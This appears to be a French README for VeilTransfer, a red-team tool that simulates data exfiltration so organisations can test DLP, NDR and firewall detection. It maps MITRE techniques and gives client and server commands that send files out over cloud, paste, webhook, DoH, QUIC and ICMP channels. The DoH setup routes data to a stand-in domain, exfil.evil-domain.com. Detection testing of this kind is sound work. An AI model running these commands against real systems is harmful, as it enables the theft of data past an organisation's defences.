
Simulateur d'exfiltration red-team utilisant MEGA, GitHub, Telegram, WebDAV, SFTP, DoH, QUIC et ICMP pour tester la détection DLP, NDR et pare-feu.
VeilTransfer est un utilitaire d’exfiltration de données conçu pour tester et améliorer les capacités de détection. Cet outil simule des techniques d’exfiltration de données réelles utilisées par des acteurs de menace avancés, permettant aux organisations d’évaluer et d’améliorer leur posture de sécurité. En s’appuyant sur plusieurs méthodes d’exfiltration telles que MEGA, GitHub, SFTP, WebDAV, et plus encore, VeilTransfer aide à identifier les lacunes de vos défenses et garantit que vos solutions de sécurité sont prêtes à contrer les violations de données modernes.
| ID | Techniques |
|---|---|
| T1029 | Transfert planifié |
| T1020 | Exfiltration automatisée |
| T1132.001 | Encodage des données : encodage standard |
| T1560.002 | Archivage des données collectées : archivage via bibliothèque |
| T1567.001 | Exfiltration via un service web : exfiltration vers un dépôt de code |
| T1567.002 | Exfiltration via un service web : exfiltration vers un stockage cloud |
| T1567.003 | Exfiltration via un service web : exfiltration vers un stockage de texte |
| T1567.004 | Exfiltration via un service web : exfiltration via un webhook |
| T1048.003 | Exfiltration via un protocole alternatif : exfiltration via un protocole non-C2 non chiffré |
| T1048.002 | Exfiltration via un protocole alternatif : exfiltration via un protocole non-C2 à chiffrement asymétrique |
VeilTransfer prend également en charge la génération de fausses données, notamment :
Créez facilement des fichiers zip pour regrouper et compresser des données, qui peuvent ensuite être utilisés pour l’exfiltration ou pour tester différents scénarios. Prend en charge le découpage facultatif en plusieurs fichiers selon la taille.
Cet exemple montre comment transférer de manière sécurisée un fichier vers un serveur distant à l’aide du protocole SFTP. Le fichier se trouve sur la machine locale et est transféré vers le répertoire distant spécifié à l’aide de l’authentification SSH.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
Dans cet exemple, les fichiers d’un répertoire local sont téléversés vers un serveur WebDAV. Le serveur requiert un nom d’utilisateur et un mot de passe pour l’authentification. Le paramètre serveur inclut le schéma d’URI (https:// ou http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
Cet exemple montre comment transférer des fichiers vers le stockage Mega Cloud. Les fichiers sont téléversés depuis un répertoire local spécifié, et l’authentification est gérée à l’aide des identifiants Mega Cloud de l’utilisateur.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
Dans cet exemple, un fichier est téléversé vers un serveur FTP. Le fichier est transféré vers un répertoire spécifique sur le serveur distant. Le serveur requiert un nom d’utilisateur et un mot de passe pour l’authentification.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
Cet exemple montre comment téléverser le contenu d’un fichier sur Pastebin. Le contenu est publié sur Pastebin à l’aide d’une clé API fournie par l’utilisateur.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
Cet exemple montre comment envoyer un fichier depuis la machine locale vers un dépôt GitHub spécifique. Le fichier est ajouté au dépôt à l’aide du jeton API GitHub de l’utilisateur pour l’authentification.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
Cet exemple montre comment envoyer un fichier vers un canal Telegram spécifique. Le fichier est envoyé à l’aide d’un jeton API de bot Telegram, et le message est délivré à l’identifiant de canal spécifié.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
Dans cet exemple, le contenu d’un fichier est envoyé vers une URL de webhook spécifiée.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
Pour établir un mécanisme sécurisé d’exfiltration de données utilisant DNS sur HTTPS (DoH), les enregistrements DNS suivants doivent être configurés :
Enregistrement A : Faites pointer test vers l’adresse IP <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
Enregistrement NS : Définissez un sous-domaine (exfil) géré par evil-domain.com.
exfil -> test.evil-domain.com
Le domaine exfil.evil-domain.com servira de domaine DNS Exfil.
Ensuite, démarrez le serveur VeilTransfer en mode DoH avec la commande suivante :
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
Remarque : La clé de chiffrement (-key) doit comporter 16 ou 32 caractères.
Pour téléverser des fichiers via DoH, assurez-vous que le serveur VeilTransfer est bien en cours d’exécution en mode DoH avec une clé de chiffrement valide. Lancez ensuite le transfert à l’aide de la commande cliente :
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
Pour démarrer le serveur VeilTransfer en mode QUIC, utilisez la commande suivante :
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
Une fois le serveur en cours d’exécution, vous pouvez téléverser des fichiers ou des répertoires en utilisant :
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
Pour activer les transferts de fichiers via le protocole ICMP, démarrez le serveur VeilTransfer en mode ICMP en exécutant la commande suivante :
veiltransfer_server_linux icmp -folder /path/folder
Une fois le serveur actif, exécutez la commande suivante pour transférer des fichiers ou des répertoires via ICMP :
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
Crée une archive zip à partir d’un répertoire spécifié.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
Crée une archive zip divisée en plusieurs parties selon la taille spécifiée.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
Cet exemple montre comment générer 100 entrées de fausses données de carte bancaire. Les données générées incluront les numéros de carte bancaire, les dates d’expiration et les détails associés.
veiltransfer_client generate-fake -ccn -count 100
Cet exemple montre comment générer 50 entrées de fausses données KTP, qui sont des cartes d’identité indonésiennes. Les données incluent des informations personnelles telles que le nom, l’adresse et le numéro KTP.
veiltransfer_client generate-fake -ktp -count 50
Les données générées incluent des numéros de sécurité sociale formatés selon les normes américaines.
veiltransfer_client generate-fake -ssn -count 200
Cet exemple montre comment générer 300 faux dossiers médicaux en anglais.
veiltransfer_client generate-fake -medical-record -count 300 -language en
Les contributions à VeilTransfer sont les bienvenues ! Si vous avez des idées de nouvelles fonctionnalités, de méthodes d’exfiltration ou d’améliorations, veuillez soumettre une pull request ou ouvrir une issue sur GitHub.